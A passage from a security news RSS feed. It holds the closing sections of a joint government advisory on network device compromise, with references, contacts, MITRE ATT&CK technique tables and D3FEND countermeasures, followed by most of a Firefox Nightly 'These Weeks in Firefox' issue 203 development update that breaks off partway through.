<p>[<a class="ck-anchor">2</a>] NSA. Cisco Smart Install Protocol Misuse. 2017. <a href="https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF" target="_blank">https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF</a></p>
<p>[<a class="ck-anchor">3</a>] NSA. Network Infrastructure Security Guide. 2023. <a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF</a></p>
<p>[<a class="ck-anchor">4</a>] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. <a href="https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF" target="_blank">https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF</a></p>
<p>[<a class="ck-anchor">5</a>] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. <a href="https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF" target="_blank">https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF</a></p>
<h2><strong>Footnotes</strong></h2>
<p><a class="ck-anchor"><sup>1</sup></a><sup>  </sup>Národní úřad pro kybernetickou a informační bezpečnost</p>
<p><a class="ck-anchor"><sup>2 </sup></a> Forsvarets Efterretningstjeneste</p>
<p><a class="ck-anchor"><sup>3</sup></a> Välisluureamet</p>
<p><a class="ck-anchor"><sup>4</sup></a> Riigi Infosüsteem Amet</p>
<p><a class="ck-anchor"><sup>5</sup></a> Sotilastiedustelu</p>
<p><a class="ck-anchor"><sup>6</sup></a> Suojelupoliisi</p>
<p><a class="ck-anchor"><sup>7</sup></a> Agence nationale de la sécurité des systèmes d’information</p>
<p><a class="ck-anchor"><sup>8</sup></a> Agenzia Informazioni e Sicurezza Esterna</p>
<p><a class="ck-anchor"><sup>9</sup></a> Agenzia Informazioni e Sicurezza Interna</p>
<p><a class="ck-anchor"><sup>10</sup></a> Służba Kontrwywiadu Wojskowego</p>
<p><a class="ck-anchor"><sup>11</sup></a> Nationellt Cybersäkerhetscenter</p>
<p><a class="ck-anchor"><sup>12</sup></a><sup> </sup>MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.</p>
<p><a class="ck-anchor"><sup>13</sup></a> <a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a> only affects end-of-life Cisco devices.</p>
<h2><strong>Disclaimer of Endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<p><strong>United States organizations</strong></p>
<ul>
<li><strong>National Security Agency (NSA)</strong>
<ul>
<li>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a> </li>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov">DIB_Defense@cyber.nsa.gov</a> </li>
<li>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov">MediaRelations@nsa.gov</a></li>
</ul>
</li>
<li><strong>Cybersecurity and Infrastructure Security Agency (CISA)</strong> and<strong> Federal Bureau of Investigation (FBI)</strong>
<ul>
<li> U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s <a href="https://myservices.cisa.gov/irf" title="Incident Reporting System">Incident Reporting System</a>, its 24/7 Operations Center (<a href="mailto:report@cisa.gov">report@cisa.gov</a> or 888-282-0870), or your <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank">local FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. </li>
</ul>
</li>
<li><strong>United States Department of Defense Cyber Crime Center (DC3)  </strong>
<ul>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil">DC3.DCISE@us.af.mil</a> </li>
<li>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank" title="https://dibnet.dod.mil/">https://dibnet.dod.mil</a>.</li>
<li> Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil">DC3.Information@us.af.mil</a></li>
</ul>
</li>
</ul>
<p><strong>Australian organizations</strong></p>
<ul>
<li><strong>Australian Signals Directorate</strong>
<ul>
<li>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</li>
</ul>
</li>
</ul>
<p><strong>Canadian organizations</strong></p>
<ul type="disc">
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 
<ul>
<li>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank">Report a cyber incident - Canadian Centre for Cyber Security</a> or by phone at 1-833-CYBER-88 (1-833-292-3788).</li>
</ul>
</li>
</ul>
<p><strong>New Zealand organizations</strong></p>
<ul type="disc">
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz">info@ncsc.govt.nz</a></li>
</ul>
<p><strong>United Kingdom organizations</strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank">ncsc.gov.uk/report-an-incident</a> (monitored 24/7)</li>
</ul>
<p><strong>Estonia organizations</strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee">info@valisluureamet.ee</a></li>
</ul>
<p><strong>Finnish organizations</strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank">supo.fi/en/contact</a></li>
</ul>
<p><strong>French organizations</strong></p>
<ul type="disc">
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr">cert-fr@ssi.gouv.fr</a> or by phone at: 3218 or +33 9 70 83 32 18.</li>
</ul>
<p><strong>Italian Organizations</strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
<li>Italian Internal Intelligence and Security Agency (AISI): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a> through <a href="https://www.cisa.gov/#Table10"><strong>Table 10</strong></a> for all the threat actor tactics and techniques referenced in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 1: Reconnaissance</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Active Scanning: Scanning IP Blocks</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a></td>
<td>Scan range of IP addresses</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a></td>
<td>Scan victims for vulnerabilities that can be used during targeting</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 2: Resource Development</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Servers </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a> </td>
<td>Leverage VPS as infrastructure </td>
</tr>
<tr>
<td>Compromise Infrastructure: Network Devices </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a> </td>
<td>Compromise intermediate routers </td>
</tr>
<tr>
<td>Obtain Capabilities: Exploits </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a> </td>
<td>Use publicly available code to exploit vulnerable devices </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 3: Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploit Public-Facing Application </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a> </td>
<td>Exploit publicly known CVEs </td>
</tr>
<tr>
<td>Proxy</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a></td>
<td>Use a connection proxy to direct network traffic </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4: Execution</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>System Services</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a></td>
<td>Executing commands via SNMP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5: Privilege Escalation</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploitation for Privilege Escalation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a></td>
<td>Exploit publicly known CVEs for escalated privileges</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 6: Stealth</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Obfuscated Files or Information</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a></td>
<td>Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 7: Credential Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>OS Credential Dumping</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a></td>
<td>Collect router configuration with weak Cisco Type 7 passwords and Type 0</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 8: Collection</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data from Configuration Repository: SNMP (MIB Dump) </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a> </td>
<td>Target MIB to collect network information via SNMP </td>
</tr>
<tr>
<td>Data from Configuration Repository: Network Device Configuration Dump</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a></td>
<td>Acquire credentials by collecting network device configurations</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 9: Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Proxy </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a> </td>
<td>Use VPS for C2 </td>
</tr>
<tr>
<td>Application Layer Protocol </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a> </td>
<td>Open and expose a variety of different services, including TFTP and FTP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 10: Exfiltration</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over Alternative Protocol</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a></td>
<td>Exfiltrating over a different protocol than that of the existing command and control channel. </td>
</tr>
</tbody>
</table>
<h2><strong>Appendix B: MITRE D3FEND countermeasures</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table11"><strong>Table 11</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 11: MITRE D3FEND Countermeasures</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Countermeasure Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Application Configuration Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a></td>
<td>
<ul type="disc">
<li>Use SNMPv3 and disable SNMPv1 and SNMPv2. </li>
<li>Use SNMP allowlisting to restrict access to OIDs and MIBs. </li>
<li>Disable Cisco Smart Install.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Authentication</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a></td>
<td>
<ul>
<li>Use SNMPv3 with strong authentication.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Encryption</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a></td>
<td>
<ul>
<li>Use SNMPv3 to encrypt payloads.</li>
</ul>
</td>
</tr>
<tr>
<td>Credential Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a></td>
<td>
<ul>
<li>Use strong, unique passwords and store them securely.</li>
</ul>
</td>
</tr>
<tr>
<td>Platform Monitoring</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a></td>
<td>
<ul type="disc">
<li>Monitor for unusual credentials. </li>
<li>Monitor SNMP Set-Requests for OIDs targeting sensitive device data.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Traffic Filtering</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a></td>
<td>
<ul type="disc">
<li>Use ACLs to only allow management protocols from management devices. </li>
<li>Block TFTP, SMI, and SNMP at edge firewalls.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Vulnerability Assessment</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a></td>
<td>
<ul>
<li>Use an attack surface management service.</li>
</ul>
</td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203]]></title>
<description><![CDATA[Highlights

James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when ...]]></description>
<link>https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:32 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>James <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032547">enabled adaptive autofill in Nightly</a> for testing, which we believe should provide better results in the URL bar when doing autocomplete!</li>
<li>Jack <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">updated the illustrations shown on some of our error pages</a> to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!</li>
</ul>
<p><img alt="Internet connection error page with an adorable Kit illustration" class="aligncenter wp-image-2080 size-full" height="652" src="https://blog.nightly.mozilla.org/files/2026/06/image2-1.png" width="1584"></p>
<ul>
<li>Controls for the Memories feature <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032998">can now be set during Smart Window onboarding</a></li>
</ul>
<p><img alt='Two radio button controls for the Smart Window Memories feature, including "Chats in Smart Window" and "Browsing across Firefox"' class="aligncenter wp-image-2078 size-full" height="546" src="https://blog.nightly.mozilla.org/files/2026/06/image4-1-e1780509799577.png" width="500"></p>
<p> </p>
<ul>
<li>We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016509">completing the deprecation</a>
<ul>
<li><b>NOTE:</b> The blog post published at<a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/"> WebExtensions API changes in Firefox 149-152</a> provides to extensions developers more details about this deprecation and links to the related MDN docs.</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=2031599%2C2033820%2C2034178%2C1930213%2C2035355%2C1611643%2C2020302%2C2026007%2C2031015%2C2035252%2C2036528%2C411384%2C2033780%2C2036199%2C1812100%2C1898257%2C2030070%2C2030072">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>Pranjali Srivastava</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> 🌟:23rd: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1812100">Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page</a></li>
<li>🌟Akeem Omosanya: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035252">Remove commented-out code in SearchService.sys.mjs</a></li>
<li>Amin Amir:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
</ul>
</li>
<li>🌟Sahaj: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031015">Suggest the default target language for translation after changing the detected source language</a></li>
<li>🌟JIANG Zhirui: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036199">Breakpad build failed on Windows using VS2026 due to removal of stdext</a></li>
<li> John Iweh: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030072">Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices</a></li>
<li>Jak: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030070">Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting</a></li>
<li>🌟Andy [:rgbcmy]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1611643">Autoplayed next video should also be PIP</a></li>
<li> konyhéa: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930213">“Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.</a></li>
<li> Pranjali Srivastava:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1898257">Remove icon property from sidebar extensions</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026007">Show language-agnostic SelectTranslations context menu item when the source and target languages are the same</a></li>
</ul>
</li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1532724"> Bug 1532724</a>, fix shipping in Firefox 152) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1595158"> Bug 1595158</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed access to web-accessible resources declared with &lt;all_urls&gt; from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033905"> Bug 2033905</a></li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029092"> Bug 2029092</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li>Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
<ul>
<li>added support for remote debugging (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014064">#2014064</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016121">#2016121</a>)</li>
<li>made sure that calls to History.replaceState are reflected in the UI (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037359">#2037359</a>)</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030260">#2030260</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed the image preview tooltip for relative URLs images in constructed stylesheet (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035503">#2035503</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026228">#2026228</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Amin Amir cleaned up an <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">incorrect variable assignment</a> in our browsingContext module.</li>
<li>Logan Rosen <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036603">updated stale references and broken links</a> in our documentation about Marionette.</li>
<li>Sameem improved the Marionette and WebDriver BiDi <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020302">screenshot commands to enforce maximum allowed dimensions</a>.</li>
<li>Leo McArdle fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030964">the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”</a>.</li>
<li>Henrik Skupin fixed an issue in Marionette where <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033769">WebDriver:Navigate and WebDriver:Refresh did not handle errors</a> when the underlying navigation failed.</li>
<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1839953">improved geckodriver to detect an early Firefox exit during startup on Android</a>, avoiding up to 60 seconds of unnecessary connection attempts.</li>
<li>Henrik Skupin updated the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028933">geckodriver CI build job to produce a universal macOS binary</a> supporting both x64 and aarch64.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Sylvestre <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023411">ported some linters</a> (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words &amp; more) to Rust to help improve the runtime of the code review bot.</li>
<li>Dale has been working on migration to moz-src for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034040">customkeys</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035086">dom/quota</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035295">odom/geolocation</a>
<ul>
<li><a href="https://arewemozsrcyet.com/">https://arewemozsrcyet.com/</a></li>
</ul>
</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
<ul>
<li>We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.</li>
</ul>
</li>
<li>Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.</li>
<li>Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!</li>
</ul>
<p><img alt="World clock widget in New Tab featuring different time zones for YTO, BER, SYD, and LAX." class="aligncenter wp-image-2079 size-full" height="162" src="https://blog.nightly.mozilla.org/files/2026/06/image3-1.png" width="346"></p>
<h4>Search and Urlbar</h4>
<ul>
<li>Nova (URL Bar Design Refresh)
<ul>
<li>Drew and Daisuke continued their work on <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015612">Nova styling for the Address bar</a> (input and view).</li>
</ul>
</li>
<li>Search and Suggest
<ul>
<li>Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035322">update the localization string for scheduled games</a> and another to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034350">show both teams’ icons in suggestions</a>. Drew also landed and uplifted a fix for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035353">rich search suggestion icons being forced into a square aspect ratio</a>.</li>
<li>Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.</li>
</ul>
</li>
<li>Settings Redesign (SRD)
<ul>
